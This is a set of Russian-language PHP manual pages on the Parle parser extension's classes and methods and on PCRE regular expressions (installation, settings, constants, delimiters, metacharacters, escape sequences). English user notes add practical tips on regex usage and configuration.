  • Объявляет токен

Parle\RParser::token

(PECL parle >= 0.7.0)

Parle\RParser::token — Объявляет токен

Описание

public Parle\RParser::token(string $tok): void

Объявляет терминал, который будет использоваться в грамматике.

Список параметров

tok

Имя токена.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Получает идентификатор токена

  • « Parle\RParser::token
  • Parle\RParser::trace »
  • PHP Manual
  • Parle\RParser
  • Получает идентификатор токена

Parle\RParser::tokenId

(PECL parle >= 0.7.0)

Parle\RParser::tokenId — Получает идентификатор токена

Описание

public Parle\RParser::tokenId(string $tok): int

Получает идентификатор заданного токена.

Список параметров

tok

Имя токена, используемое в Parle\RParser::token().

Возвращаемые значения

Возвращает целое число (int), представляющее идентификатор токена.

User Contributed Notes

There are no user contributed notes for this page.


Следит за работой парсера

  • « Parle\RParser::tokenId
  • Parle\RParser::validate »
  • PHP Manual
  • Parle\RParser
  • Следит за работой парсера

Parle\RParser::trace

(PECL parle >= 0.7.0)

Parle\RParser::trace — Следит за работой парсера

Описание

public Parle\RParser::trace(): string

Получает описание текущей работы парсера. Может быть полезно для изучения синтаксического анализатора и оптимизации грамматики.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку (string) с информацией о трассировке.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет входные данные

  • « Parle\RParser::trace
  • Parle\Stack »
  • PHP Manual
  • Parle\RParser
  • Проверяет входные данные

Parle\RParser::validate

(PECL parle >= 0.7.0)

Parle\RParser::validate — Проверяет входные данные

Описание

public Parle\RParser::validate(string $data, Parle\RLexer $lexer): bool

Проверяет входную строку. Строка анализируется внутренним механизмом, поэтому метод полезен для быстрой проверки входных данных.

Список параметров

data

Строка для проверки.

lexer

Объект лексера, содержащий правила лексирования, подготовленные для конкретной грамматики.

Возвращаемые значения

Возвращает логическое значение (bool) определяющее, соответствуют ли входные данные заданным правилам или нет.

User Contributed Notes

There are no user contributed notes for this page.


Класс Parle\Stack

(PECL parle >= 0.7.0)

Введение

Parle\Stack — это стек LIFO. Элементы добавляются и удаляются только с одного конца.

Обзор классов

class Parle\Stack {
/* Свойства */
public bool $empty = true;
public int $size = 0;
public mixed $top;
/* Методы */
public pop(): void
public push(mixed $item): void
}

Свойства

empty

Является ли стек пустым, только для чтения.

size

Размер стека, только для чтения.

top

Элемент в начале стека.

Содержание

  • Parle\Stack::pop — Извлекает предмет из стека
  • Parle\Stack::push — Помещает элемент в стек

User Contributed Notes

There are no user contributed notes for this page.


Извлекает предмет из стека

  • « Parle\Stack
  • Parle\Stack::push »
  • PHP Manual
  • Parle\Stack
  • Извлекает предмет из стека

Parle\Stack::pop

(PECL parle >= 0.5.1)

Parle\Stack::pop — Извлекает предмет из стека

Описание

public Parle\Stack::pop(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Помещает элемент в стек

  • « Parle\Stack::pop
  • Parle\Token »
  • PHP Manual
  • Parle\Stack
  • Помещает элемент в стек

Parle\Stack::push

(PECL parle >= 0.5.1)

Parle\Stack::push — Помещает элемент в стек

Описание

public Parle\Stack::push(mixed $item): void

Список параметров

item

Переменная, которую необходимо поместить в стек

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс Parle\Token

(PECL parle >= 0.5.2)

Введение

Класс представляет токен. Лексер возвращает экземпляры этого класса.

Обзор классов

class Parle\Token {
/* Constants */
const int EOI = 0;
const int UNKNOWN = -1;
const int SKIP = -2;
/* Свойства */
public int $id;
public string $value;
/* Методы */
}

Свойства

id

Идентификатор токена.

value

Значение токена.

Предопределённые константы

Parle\Token::EOI

Конец входного идентификатора токена.

Parle\Token::UNKNOWN

Неизвестный идентификатор токена.

Parle\Token::SKIP

Пропустить идентификатор токена.

User Contributed Notes

There are no user contributed notes for this page.


Класс Parle\ErrorInfo

(PECL parle >= 0.5.2)

Введение

Класс представляет подробную информацию об ошибке, предоставленной Parle\Parser::errorInfo()

Обзор классов

class Parle\ErrorInfo {
/* Свойства */
public int $id;
public int $position;
public mixed $token;
/* Методы */
}

Свойства

id

Идентификатор ошибки.

position

Позиция, где произошла ошибка.

token

Если применимо - Parle\Token, связанный с ошибкой, в противном случае null.

User Contributed Notes

There are no user contributed notes for this page.


Класс Parle\LexerException

(PECL parle >= 0.5.1)

Введение

Обзор классов

class Parle\LexerException extends Exception implements Throwable {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Методы */
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Parle\ParserException

(PECL parle >= 0.5.1)

Введение

Обзор классов

class Parle\ParserException extends Exception implements Throwable {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Методы */
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Perl-совместимые регулярные выражения

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Регулярные выражения PCRE
    • Синтаксис регулярных выражений — Описание синтаксиса Perl-совместимых регулярных выражений
    • Модификаторы шаблонов — Описание модификаторов шаблонов Perl-совместимых регулярных выражений (PCRE)
    • Отличия от Perl
  • Функции PCRE
    • preg_filter — Производит поиск и замену по регулярному выражению
    • preg_grep — Возвращает массив вхождений, которые соответствуют шаблону
    • preg_last_error_msg — Возвращает сообщение об ошибке последней запущенной функции PCRE
    • preg_last_error — Возвращает код ошибки выполнения последнего регулярного выражения PCRE
    • preg_match_all — Выполняет глобальный поиск шаблона в строке
    • preg_match — Выполняет проверку на соответствие регулярному выражению
    • preg_quote — Экранирует символы в регулярных выражениях
    • preg_replace_callback_array — Выполняет поиск и замену по регулярному выражению с использованием функций обратного вызова
    • preg_replace_callback — Выполняет поиск по регулярному выражению и замену с использованием callback-функции
    • preg_replace — Выполняет поиск и замену по регулярному выражению
    • preg_split — Разбивает строку по регулярному выражению

User Contributed Notes

There are no user contributed notes for this page.


Введение

Синтаксис шаблонов для функций, которые работают с регулярными выражениями, напоминает синтаксис языка программирования Perl. Выражение записывают между разделителями, например, оборачивают шаблон слешами «/». В качестве разделителя разрешены ASCII-символы, кроме пробельных, буквенно-цифровых, обратного слеша «\» и нулевого байта. Символ-разделитель заэкранируют обратным слешем, если разделитель встречается в самом выражении шаблона. Синтаксис допускает также разделители в стиле языка Perl: (), {}, [] и <>. Подробное объяснение приводит раздел «Синтаксис регулярных выражений».

После закрывающего разделителя указывают модификаторы, которые влияют на поиск совпадений. Подробнее о модификаторах рассказывает раздел «Модификаторы шаблонов».

Замечание:

Модуль PCRE (Perl Compatible Regular Expressions) хранит глобальный кеш скомпилированных регулярных выражений, по одному для каждого потока размером до 4096 байтов.

Внимание

Программист должен знать об ограничениях модуля PCRE. Дополнительную информацию даёт документация по PCRE » http://www.pcre.org/pcre.txt.

Библиотека PCRE — набор функций, которые сопоставляют шаблоны регулярных выражений через тот же синтаксис и семантику, что и язык Perl 5, но с небольшими отличиями (смотрите ниже). Текущая реализация соответствует версии Perl 5.005.

User Contributed Notes

There are no user contributed notes for this page.


Установка

PCRE является модулем ядра, поэтому он всегда доступен. По умолчанию этот модуль собирается с использованием встроенной библиотеки PCRE. Также можно использовать внешнюю PCRE-библиотеку, указав при сборке параметр --with-pcre-regex=DIR, где DIR указывает на директорию с библиотеками и подключаемыми файлами PCRE. Рекомендуется использовать PCRE 8.10 и выше; с PHP 7.3.0 требуется PCRE2.

По умолчанию поддерживается JIT-компиляция PCRE. Её можно отключить с помощью опции --without-pcre-jit начиная с PHP 7.0.12.

Версия PHP для Windows имеет встроенную поддержку этого модуля. То есть для вызова этих функций не нужна загрузка дополнительных модулей.

PCRE - активный проект, и по мере того, как он меняется, меняется и функциональность PHP, которая полагается на него. Возможно, некоторые части документации PHP устарели в том плане, что они не покрывают новейшие возможности, которые предоставляет PCRE. Список изменений можно найти в » списке изменений библиотеки PCRE, а также в следующей прилагаемой здесь истории PCRE:

История обновлений поставляемой библиотеки PCRE
PHP Версия | Обновлённая PCRE Версия | Замечания
8.2.0 | 10.40 |
8.1.0 | 10.39 |
7.4.12, 8.0.0 | 10.35 |
7.4.6 | 10.34 |
7.4.0 | 10.33 |
7.3.0 | 10.32 |
7.2.0 | 8.41 |
7.0.3 | 8.38 | Смотрите CVE-2015-8383, CVE-2015-8386, CVE-2015-8387, CVE-2015-8389, CVE-2015-8390, CVE-2015-8391, CVE-2015-8393, CVE-2015-8394
7.0.0 | 8.37 | Смотрите CVE-2015-2325, CVE-2015-2326

User Contributed Notes

Lrinczy Zsigmond 17-Sep-2018 12:22
From PHP version 7.3, 'pcre2' is used instead of 'pcre'. It is bundled with the PHP source, or a preinstalled pcre2 can be used if it was compiled with these configure-options:

--enable-shared --enable-unicode --enable-jit

If you want to use preinstalled pcre2 with PHP, use configure-options --with-pcre-dir=<path> and --with-pcre-regex=<path> (I don't know why there is two of them).


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции конфигурации PCRE
Имя | По умолчанию | Место изменения | Список изменений
pcre.backtrack_limit | "1000000" | INI_ALL |
pcre.recursion_limit | "100000" | INI_ALL |
pcre.jit | "1" | INI_ALL |
Дополнительная информация и описания режимов INI_* даны в разделе «Места установки параметров конфигурации».

Краткое разъяснение конфигурационных директив.

pcre.backtrack_limit int

Лимит обратных ссылок PCRE. Для PHP < 5.3.7 значение по умолчанию 100000.

pcre.recursion_limit int

Лимит на рекурсию. Не забывайте о том, что если вы установите достаточно высокое значение, то PCRE может превысить размер стека (установленный операционной системой) и в конце концов вызовет падение PHP.

pcre.jit bool

Будет ли использоваться JIT-компиляция PCRE.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

Константы PREG
Константы | Описание | С версии
PREG_PATTERN_ORDER (int) | Меняет порядок элементов в результирующем массиве так, чтобы элемент $matches[0] содержал полные вхождения шаблона, элемент $matches[1] - все вхождения первой взятой в круглые скобки подмаски и т. д. Этот флаг указывают только при вызове функции preg_match_all(). |
PREG_SET_ORDER (int) | Меняет порядок элементов в результирующем массиве так, чтобы элемент $matches[0] содержал первый набор вхождений (полное вхождение, вхождение первой подмаски, заключённой в круглые скобки...), аналогично элемент $matches[1] — второй набор вхождений и т. д. Этот флаг указывают только при вызове функции preg_match_all(). |
PREG_OFFSET_CAPTURE (int) | Смотрите описание флага PREG_SPLIT_OFFSET_CAPTURE. |
PREG_SPLIT_NO_EMPTY (int) | Если этот флаг указан, функция preg_split() вернёт только непустые подстроки. |
PREG_SPLIT_DELIM_CAPTURE (int) | Если этот флаг указан, то функция preg_split() также возвращает выражение, заключённое в шаблоне разделителя в круглые скобки. |
PREG_SPLIT_OFFSET_CAPTURE (int) | Если этот флаг указан, для каждой найденной подстроки будет указана её позиция в исходной строке. Когда указывают этот флаг, учитывают, что он меняет формат возвращаемых данных: каждое вхождение возвращается в виде массива, в нулевом элементе которого содержится найденная подстрока, а в первом — смещение. Этот флаг указывают только при вызове функции preg_split(). |
PREG_UNMATCHED_AS_NULL (int) | Этот флаг указывает функциям preg_match() и preg_match_all() включать несовпадающие подмаски в переменной $matches в виде значений null. Без этого флага несовпадающие подмаски отображаются как пустые строки, как если бы не было найдено совпадений. Установка этого флага разрешает проводить различие между двумя этими случаями. | 7.2.0
PREG_NO_ERROR (int) | Возвращается функцией preg_last_error(), если ошибок нет. | 5.2.0
PREG_INTERNAL_ERROR (int) | Возвращается функцией preg_last_error(), в случае если произошла внутренняя ошибка PCRE. | 5.2.0
PREG_BACKTRACK_LIMIT_ERROR (int) | Возвращается функцией preg_last_error(), если лимит обратных ссылок был исчерпан. | 5.2.0
PREG_RECURSION_LIMIT_ERROR (int) | Возвращается функцией preg_last_error(), если лимит рекурсии был исчерпан. | 5.2.0
PREG_BAD_UTF8_ERROR (int) | Возвращается функцией preg_last_error(), если последняя ошибка была вызвана неправильными данными UTF-8 (только при запуске регулярного выражения в режиме UTF-8). | 5.2.0
PREG_BAD_UTF8_OFFSET_ERROR (int) | Возвращается функцией preg_last_error(), если смещение не соответствует началу корректной кодовой точки UTF-8 (только при запуске в режиме UTF-8). | 5.3.0
PREG_JIT_STACKLIMIT_ERROR (int) | Возвращается функцией preg_last_error(), если последняя функция PCRE завершилась неудачно из-за лимита стека JIT. | 7.0.0
PCRE_VERSION (string) | Версия и дата релиза PCRE (например, «7.0 18-Dec-2006»). | 5.2.4

User Contributed Notes

Robert 23-Dec-2015 10:41
The new PREG_JIT_STACKLIMIT_ERROR constant introduced with PHP 7.0.0 has got a value of 6.

I experienced this error code when parsing a 112KB file. preg_match_all failed with this error. Interesting was: The matches array contained some entries, but not all as the command failed (I missed to check the return value).

Unfortunately you can not configure the stack-size of the PCRE JIT. The only way out was - at least for me - to disable the PCRE JIT via php.ini (pcre.jit=0).
erutan409 at hotmail dot com 31-Jul-2015 01:24
PREG_PATTERN_ORDER: 1
PREG_SET_ORDER: 2
PREG_OFFSET_CAPTURE: 256
PREG_SPLIT_NO_EMPTY: 1
PREG_SPLIT_DELIM_CAPTURE: 2
PREG_SPLIT_OFFSET_CAPTURE: 4
PREG_NO_ERROR: 0
PREG_INTERNAL_ERROR: 1
PREG_BACKTRACK_LIMIT_ERROR: 2
PREG_RECURSION_LIMIT_ERROR: 3
PREG_BAD_UTF8_ERROR: 4
PREG_BAD_UTF8_OFFSET_ERROR: 5
PCRE_VERSION: %YOUR_VERSION_NUMBER%


Примеры

Пример #1 Примеры правильных шаблонов

  • /<\/\w+>/
  • |(\d{3})-\d+|Sm
  • /^(?i)php[34]/
  • {^\s+(\s+)?$}

Пример #2 Примеры неправильных шаблонов

  • /href='(.*)' - пропущен закрывающий ограничитель
  • /\w+\s*\w+/J - неизвестный модификатор 'J'
  • 1-\d3-\d3-\d4| - пропущен открывающий ограничитель

User Contributed Notes

There are no user contributed notes for this page.


Регулярные выражения PCRE

Содержание

  • Синтаксис регулярных выражений
  • Модификаторы шаблонов
  • Отличия от Perl

User Contributed Notes

There are no user contributed notes for this page.


Описание синтаксиса Perl-совместимых регулярных выражений

Содержание

  • Вступление
  • Разделители
  • Метасимволы
  • Экранирующие последовательности
  • Свойства Unicode-символов
  • Якоря
  • Метасимвол точка
  • Символьные классы
  • Альтернативный выбор
  • Установка внутренних опций
  • Подшаблоны
  • Повторение
  • Обратные ссылки
  • Утверждения
  • Однократные подшаблоны
  • Условные подшаблоны
  • Комментарии
  • Рекурсивные шаблоны
  • Производительность

User Contributed Notes

Hayley Watson 05-Jan-2018 11:38
As a rule of thumb, it's better to describe your regular expression patterns using single-quoted strings.

Using double-quoted strings, the interaction between PHP's and PCRE's interpretations of which bits of the string are escape sequences can get messy. Regular expressions can get messy enough as it is without another layer of escaping making it worse.
sam marshall 24-May-2007 10:23
For anyone who sees this error:

Warning: preg_match() [function.preg-match]: Compilation failed: PCRE does not support \L, \l, \N, \P, \p, \U, \u, or \X at ...

As this manual page says, you need PHP 5.1.0 and the /u modifier in order to enable these features, but that isn't the only requirement! It is possible to install later versions of PHP (we have 5.1.4) while linking to an older PCRE install. A quick look at the PCRE changelog suggests that you probably need at least PCRE 5; we're running 4.5, while the latest is 7.1. You can find out your PCRE version by checking phpinfo().

I suspect this ancient PCRE version is included in some officially-supported Red Hat Enterprise package which is probably why we are running it so might also affect other people.
pstradomski at gmail dot com 29-Mar-2007 07:55
About strip_selected_tags function from two posts below:

it does not work if somebody uses tags without ending ">" character, like this:

<p <b> bold text </b</p

This  is even valid HTML (but not valid XHTML)
Daniel Vandersluis 23-Nov-2005 10:50
Concerning note #6 in "Differences From Perl", the \G token *is* supported as the last match position anchor. This has been confirmed to work at least in preg_replace(), though I'd assume it'd work in preg_match_all(), and other functions that can make more than one match, as well.
onerob at gmail dot com 01-Apr-2005 04:51
If, like me, you tend to use the /U pattern modifier, then you will need to remember that using ? or * to to test for optional characters will match zero characters if it means that the rest of the pattern can continue matching, even if the optional characters exist.

For instance, if we have this string:

a___bcde

and apply this pattern:

'/a(_*).*e/U'

The whole pattern is matched but none of the _ characters are placed in the sub-pattern. The way around this (if you still wish to use /U) is to use the ? greediness inverter. eg,

'/a(_*?).*e/U'
info at atjeff dot co dot nz 07-Feb-2005 04:46
ive never used regex expressions till now and had loads of difficulty trying to convert a [url]link here[/url] into an href for use with posting messages on a forum, heres what i manage to come up with:

$patterns = array(
            "/\[link\](.*?)\[\/link\]/",
            "/\[url\](.*?)\[\/url\]/",
            "/\[img\](.*?)\[\/img\]/",
            "/\[b\](.*?)\[\/b\]/",
            "/\[u\](.*?)\[\/u\]/",
            "/\[i\](.*?)\[\/i\]/"
        );
        $replacements = array(
            "<a href=\"\\1\">\\1</a>",
            "<a href=\"\\1\">\\1</a>",
            "<img src=\"\\1\">",
            "<b>\\1</b>",
            "<u>\\1</u>",
            "<i>\\1</i>"

        );
        $newText = preg_replace($patterns,$replacements, $text);

at first it would collect ALL the tags into one link/bold/whatever, until i added the "?" i still dont fully understand it... but it works :)
J Daugherty 09-Dec-2004 09:06
In the character class meta-character documentation above, the circumflex (^) is described:

"^   negate the class, but only if the first character"

It should be a little more verbose to fully express the meaning of ^:

^    Negate the character class.  If used, this must be the first character of the class (e.g. "[^012]").
napalm at spiderfish dot net 17-Mar-2004 08:14
Pay attention that some pcre features such as once-only or recursive patterns are not implemented in php versions prior to 5.00

Napalm


Вступление

Этот раздел описывает синтаксис и семантику регулярных выражений, которые поддерживает модуль PCRE. Регулярные выражения также описывают документация языка Perl и много других книг, отдельные содержат большое количество примеров. Подробно регулярные выражения описывает книга Джеффри Фридла «Регулярные выражения» (Jeffrey Friedl "Mastering Regular Expressions"), опубликованная издательством O'Reilly (ISBN 1-56592-257-3). Описание здесь привели как справочную информацию.

Регулярное выражение — это шаблон, с которым входная строка сравнивается слева направо. Большинство символов в шаблоне — буквально сами символы, которые совпадают с символами во входной строке. В качестве банального примера, шаблон The quick brown fox соответствует той части искомой строки, которая с ним совпадает.

User Contributed Notes

There are no user contributed notes for this page.


Разделители

При работе с функциями модуля PCRE шаблон заключают в разделители. В качестве разделителя разрешены любые символы, кроме буквенно-цифровых, обратного слеша или пробельных символов. Парсер без предупреждения проигнорирует пробел перед корректным разделителем.

Разделители, которыми пользуются чаще: слеши (/), знаки решётки (#) и тильды (~). Следующий абзац приводит примеры шаблонов с корректными разделителями.

/foo bar/
#^[^0-9]$#
+php+
%[a-zA-Z0-9_-]%

Скобки также указывают как разделители, где начальный разделитель — открывающая скобка, а конечный разделитель — закрывающая. Символы (), {}, [] и <> — допустимые пары разделителей.

(this [is] a (pattern))
{this [is] a (pattern)}
[this [is] a (pattern)]
<this [is] a (pattern)>
Разделители в виде скобок не нужно экранировать, если скобки также задали как метасимволы в шаблоне, но как и с другими разделителями скобки нужно экранировать, если их указывают непосредственно как символы.

Разделитель экранируют обратным слешем «\», если нужно указать разделитель внутри шаблона. Если разделитель часто указывают в шаблоне, в целях удобочитаемости выбирают другой разделитель для этого шаблона.

/http:\/\//
#http://#
Функцией preg_quote() пользуются, чтобы экранировать строку в шаблоне, а необязательный второй параметр функции разрешает задать разделитель.

После закрывающего разделителя указывают модификаторы шаблонов. Следующий пример показывает сопоставление без учёта регистра:

#[a-z]#i

User Contributed Notes

Revo 12-Dec-2018 08:56
Note that angle brackets `<>` shouldn't be used as delimiters whenever you will have to invoke advanced clusters like atomic groups or lookbehinds because their including angle bracket doesn't come in pair and escaping doesn't help either.
Munin 26-Aug-2015 01:07
preg_match('{[}]}', ''); // Warning: preg_match(): Unknown modifier ']'

preg_match('{[\}]}', ''); // OK
Pedro Gimeno 26-Feb-2015 12:46
Note that bracket style opening and closing delimiters aren't a 100% problem-free solution, as they need to be escaped when they aren't in matching pairs within the expression. That mismatch can happen when they appear inside character classes [...], as most meta-characters lose their special meaning. Consider these examples:

<?php
  preg_match('{[{]}', ''); // Warning: preg_match(): No ending matching delimiter '}'
  preg_match('{[}]}', ''); // Warning: preg_match(): Unknown modifier ']'
  preg_match('{[}{]}', ''); // Warning: preg_match(): Unknown modifier ']'
?>

Escaping them solves it:

<?php
  preg_match('{[\{]}', ''); // OK
  preg_match('{[}]}', ''); // OK
  preg_match('{[\}\{]}', ''); // OK
?>


Метасимволы

Сила регулярных выражений состоит в том, что в шаблон можно включать подшаблоны для альтернативного сопоставления и поиска повторений. Альтернативы и повторения кодируют в шаблоне метасимволами, которые парсер интерпретирует не как самих себя, а особым образом.

В коде метасимволы записывают двумя способами: одни парсер распознаёт за пределами квадратных скобок, другие — внутри квадратных скобок. Вне квадратных скобок распознаются следующие метасимволы:

Метасимволы вне квадратных скобок
Метасимвол | Описание
\ | общий экранирующий символ с несколькими назначениями
^ | декларирует начало данных (или строки в многострочном режиме)
$ | декларирует конец данных или до завершения строки (или окончание строки в многострочном режиме)
. | соответствует любому символу, кроме перевода строки (по умолчанию)
[ | начало описания символьного класса
] | конец описания символьного класса
| | начало ветки условного выбора
( | начало подшаблона
) | конец подшаблона
? | расширяет смысл метасимвола (, выступает в роли квантификатора, который означает 0 или 1 вхождение, а также преобразовывает жадные квантификаторы в ленивые (смотрите раздел «Повторение»)
* | квантификатор, который означает 0 или более вхождений
+ | квантификатор, который означает 1 или более вхождений
{ | начало количественного квантификатора
} | конец количественного квантификатора
Часть шаблона в квадратных скобках называется символьным классом. В символьный класс входят только следующие метасимволы:
Метасимволы внутри квадратных скобок (символьные классы)
Метасимвол | Описание
\ | общий экранирующий символ
^ | означает отрицание класса, допустим только в начале класса
- | означает символьный интервал
Другие разделы детально описывают каждый из перечисленных метасимволов.

User Contributed Notes

There are no user contributed notes for this page.


Экранирующие последовательности

У обратного слеша «\» несколько назначений. Главное — если обратный слеш предшествует небуквенно-цифровому символу, обратный слеш снимает с этого символа специальное значение, которое символ мог иметь. Обратный слеш как экранирующий символ допустим как в символьном классе, так и вне него.

Например, для сопоставления символа «*» в шаблоне указывают «\*». Такой подход применяют независимо от того, интерпретировал бы парсер символ, который идёт за обратным слешем, как специальный без экранирования или нет. Поэтому небуквенно-цифровые символы безопасно экранировать символом обратного слеша «\», чтобы указать, что символ означает сам себя. Для сопоставления обратного слеша с самим собой, записывают «\\».

Замечание:

Обратный слеш в одинарных и двойных PHP-строках работает как служебный символ. Поэтому когда нужно сопоставить символ \ с регулярным выражением \\, в PHP-коде указывают "\\\\" или '\\\\'.

Если указали модификатор PCRE_EXTENDED, пробельные символы в шаблоне вне описания символьного класса парсер проигнорирует. Также игнорируется часть строки, которая находится между символом «#», который, опять же, не участвует в описании символьного класса, и следующим символом перевода строки. В этой ситуации обратный слеш указывают как экранирующий символ для обозначения вхождений пробельных символов или символа «#» в шаблоне.

Второе назначение обратного слеша — кодировать непечатаемые символы в шаблоне в видимой форме. Нет ограничений на появление непечатаемых символов, кроме двоичного нуля, который завершает шаблон, но при подготовке шаблона в текстовом редакторе проще записывать следующие экранирующие последовательности, чем двоичный символ, который последовательности представляют:

\a
символ оповещения, сигнал, (BEL, шестнадцатеричный код 07)
\cx
«control + x», где x — произвольный символ
\e
escape (шестнадцатеричный код 1B)
\f
разрыв страницы (шестнадцатеричный код 0C)
\n
перевод строки (шестнадцатеричный код 0A)
\p{xx}
символ со свойством xx, подробнее об этом рассказывает раздел «Свойства Unicode-символов»
\P{xx}
символ без свойства xx, подробнее об этом рассказывает раздел «Свойства Unicode-символов»
\r
возврат каретки (шестнадцатеричный код 0D)
\R
разрыв строки: совпадает с \n, \r и \r\n
\t
табуляция (шестнадцатеричный код 09)
\xhh
символ с шестнадцатеричным кодом hh
\ddd
символ с восьмеричным кодом ddd, либо ссылка на подшаблон

Если быть более точным, комбинация «\cx» интерпретируется следующим образом: если «x» — символ нижнего регистра, он преобразовывается в верхний регистр. После этого шестой бит символа (шестнадцатеричный код 40) инвертируется. Таким образом, комбинация «\cz» интерпретируется как шестнадцатеричное значение 1A, тогда как комбинация «\c{» получает шестнадцатеричное значение 3B, а «\c;» — 7B.

После комбинации «\x» считываются ещё две шестнадцатеричные цифры в нижнем или верхнем регистре. В режиме UTF-8 разрешена запись «\x{...}», где содержимое скобок — строка из шестнадцатеричных цифр. Такая запись интерпретируется как символ UTF-8, кодовый номер которого — шестнадцатеричное число. Исходная шестнадцатеричная экранирующая последовательность \xhh совпадает с двухбайтовым символом в кодировке UTF-8, если значение шестнадцатеричного числа превышает 127.

После комбинации «\0» считываются ещё две восьмеричные цифры. Если в записи менее двух цифр, считываются только те, которые указали. Таким образом, последовательность «\0\x\07» будет интерпретирована как два двоичных нуля, за которыми следует символ оповещения (звонок). Убедитесь, что указали две цифры после начального нуля, если символ, который идёт за нулём, сам восьмеричная цифра.

Обработка обратного слеша, за которым следует ненулевая цифра, несколько сложнее. Вне символьного класса модуль PCRE воспринимает обратный слеш и цифры за ним как десятичное число. Если полученное значение меньше десяти или если шаблон содержит по меньшей мере такое же количество предшествующих текущей позиции подшаблонов, парсер интерпретирует всю конструкцию как ссылку на подшаблон. Более детальное описание приведём ниже при обсуждении механизма работы подшаблонов.

Внутри символьного класса, либо если полученное значение больше 9 и соответствующее количество предшествующих подшаблонов отсутствует, модуль PCRE считывает до трёх восьмеричных цифр, которые следуют за обратным слешем, и генерирует один байт из последних 8-ми значащих битов полученного значения. Все последующие цифры обозначают сами себя. Например:

\040
ещё один способ записи пробела
\40
то же самое, если данной записи предшествует менее сорока подшаблонов
\7
всегда интерпретируется как ссылка на подшаблон
\11
может быть как обратной ссылкой, так и альтернативной записью символа табуляции
\011
всегда интерпретируется как символ табуляции
\0113
символ табуляции, за которым следует цифра «3»
\113
интерпретируется как символ с восьмеричным кодом 113 (так как ссылок на подшаблоны не может быть больше 99)
\377
байт, всецело состоящий из единичных битов
\81
либо обратная ссылка, либо бинарный ноль, за которым следуют цифры «8» и «1»

Следует помнить, что восьмеричные значения, превышающие 100, следует писать без лидирующего нуля, так как читается не более трёх восьмеричных цифр.

Все последовательности, определяющие однобайтное значение, могут встречаться как внутри, так и вне символьных классов. Кроме того, внутри символьного класса запись «\b» интерпретируется как символ возврата («backspace», шестнадцатеричный код 08). Вне символьного класса она имеет другое значение (какое именно, описано ниже).

Третье использование обратного слеша — указание общего типа символов:

\d
любая десятичная цифра
\D
любой символ, кроме десятичной цифры
\h
любой горизонтальный пробельный символ
\H
любой символ, не являющийся горизонтальным пробельным символом
\s
любой пробельный символ
\S
любой непробельный символ
\v
любой вертикальный пробельный символ
\V
любой символ, не являющийся вертикальным пробельным символом
\w
Любой символ, образующий «слово»
\W
Любой символ, не образующий «слово»

Каждая пара таких специальных последовательностей делит полное множество всех символов на два непересекающихся множества. Любой символ соответствует одному и только одному множеству из пары.

Следующие символы считаются «пробельными»: HT (9), LF (10), FF (12), CR (13) и пробел (32). Однако, если идёт сопоставление с учётом локали, символы с кодовыми точками в диапазоне 128-255 также рассматриваются как пробельные, например, символ неразрывного пробела NBSP (A0).

Символ, образующий «слово» — это произвольная цифра, буква или символ подчёркивания, проще говоря, любой символ, которому разрешено быть частью «слова» в Perl. Определение букв и цифр управляется символьными таблицами, с которыми собрали модуль PCRE. И, как следствие, эти наборы могут отличаться в различных локализированных дистрибутивах. Например, в локали «fr» (Франция) ряд символов с кодом выше 128 применяют для записи ударных символов и поэтому они соответствуют маске \w.

Описанные типы символов применяют как внутри, так и вне символьных классов, и типы соответствуют одному символу данного типа. Если текущая точка сравнения находится в конце строки, ни один из них не сможет совпасть, поскольку нет символа, с которым могло бы произойти совпадение.

Четвёртое назначение обратного слеша — определение некоторых формальных утверждений, которые описывают условия месторасположения особых позиций в строке и не затрагивают сами символы. Работу с подшаблонами как с более сложными формальными утверждениями, документация описывает ниже. К такими управляющим последовательностям относятся:

\b
граница слова
\B
не является границей слова
\A
начало данных (независимо от многострочного режима)
\Z
конец данных либо позиция перед последним переводом строки (независимо от многострочного режима)
\z
конец данных (независимо от многострочного режима)
\G
первая совпадающая позиция в строке

Описанные выше последовательности не могут встречаться в символьных классах (исключая комбинацию «\b», которая внутри класса означает символ возврата «backspace»).

Границей слова считается такая позиция в строке, в которой из текущего и предыдущего символа только один соответствует \w или \W (т.е. один из них соответствует \w, а другой \W). Начало или конец строки также соответствуют границе слова Если первый или, соответственно, последний символ совпадает с \w.

Утверждения \A, \Z и \z отличаются от традиционных метасимволов начала и конца строки строки — циркумфлекса ^ и знака доллара $, которые описывает раздел «Якоря», тем, что они всегда совпадают только в самом начале и конце входной строки, какие бы параметры ни установили. На них никак не влияют опции PCRE_MULTILINE и PCRE_DOLLAR_ENDONLY. Разница между \Z и \z в том, что \Z соответствует позиции перед последним символом, если последний символ — перевод строки, кроме самого конца строки. Тогда как \z соответствует исключительно концу данных.

Утверждение \G будет истинным, только если текущая проверяемая позиция находится в начале совпадения, которое указали в параметре offset функции preg_match(). Она отличается от последовательности \A при ненулевом значении параметра offset.

